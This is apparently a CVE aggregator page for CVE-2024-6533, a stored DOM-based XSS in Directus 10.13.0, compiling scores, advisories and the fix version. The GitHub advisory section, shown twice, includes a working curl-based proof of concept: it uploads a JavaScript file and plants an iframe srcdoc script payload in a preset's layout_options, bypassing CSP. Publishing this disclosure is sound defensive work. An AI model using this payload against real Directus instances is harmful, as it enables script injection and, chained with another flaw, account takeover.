CVE-2024-6533
Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
CVE-2024-6533- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2024-2634
5.4
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
EUVD-2024-2634- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9qrm-48qf-r2rw
3.4
Directus has a DOM-Based cross-site scripting (XSS) via layout_options
Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.
- Upload the following JavaScript file.
Using the upload functionality at POST /files. This PoC will show an alert message.
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="[email protected]"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"
curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
-c "${root_dir}/static/attacker_directus_session_token" \
-H 'Content-Type: application/json' \
-d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
id_url_file=$(echo "alert('Successful DOM-based XSS')" |
curl -s -k -X 'POST' "${TARGET_HOST}/files" \
-b "${root_dir}/static/attacker_directus_session_token" \
-F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
- Create a preset for a collection and store the preset ID.
Or use a preset already created from GET /presets. The following example uses the direct_users preset.
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.
Notes:
Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is <iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">.
We can target any collection that uses the vulnerable template structure that renders the layout option section.
In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
- Record
GHSA-9qrm-48qf-r2rw- CVSS 3.1
- 3.4 Low
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qf6h-p3mr-vmh5
6.9
Duplicate Advisory: Code injection in Directus
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.
Original Description
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
GHSA-qf6h-p3mr-vmh5- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N - CVSS 3.1
- 4.1 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.4
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
CVE-2024-6533- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.4
Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
CVE-2024-6533- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-9qrm-48qf-r2rw
3.4
Directus has a DOM-Based cross-site scripting (XSS) via layout_options
Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.
- Upload the following JavaScript file.
Using the upload functionality at POST /files. This PoC will show an alert message.
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="[email protected]"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"
curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
-c "${root_dir}/static/attacker_directus_session_token" \
-H 'Content-Type: application/json' \
-d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
id_url_file=$(echo "alert('Successful DOM-based XSS')" |
curl -s -k -X 'POST' "${TARGET_HOST}/files" \
-b "${root_dir}/static/attacker_directus_session_token" \
-F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
- Create a preset for a collection and store the preset ID.
Or use a preset already created from GET /presets. The following example uses the direct_users preset.
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.
Notes:
Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is <iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">.
We can target any collection that uses the vulnerable template structure that renders the layout option section.
In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
- Record
GHSA-9qrm-48qf-r2rw- CVSS 3.1
- 3.4 Low
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-qf6h-p3mr-vmh5
6.9
Duplicate Advisory: Code injection in Directus
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.
Original Description
Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.
- Record
GHSA-qf6h-p3mr-vmh5- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N - CVSS 3.1
- 4.1 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
directusnpm |
before 11.3.3 | 11.3.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-6533 is a medium vulnerability (CVSS 5.4) in Directus, published August 15, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 32nd percentile. Fixed in directus 11.3.3.
References
fluidattacks.com/advisories/bocelli
directus.io
github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
github.com/advisories/GHSA-9qrm-48qf-r2rw
nvd.nist.gov/vuln/detail/CVE-2024-6533
github.com/advisories/GHSA-qf6h-p3mr-vmh5
github.com/CVEProject/cvelistV5/tree/main/cves/2024/6xxx/CVE-2024-6533.json
github.com/directus/directus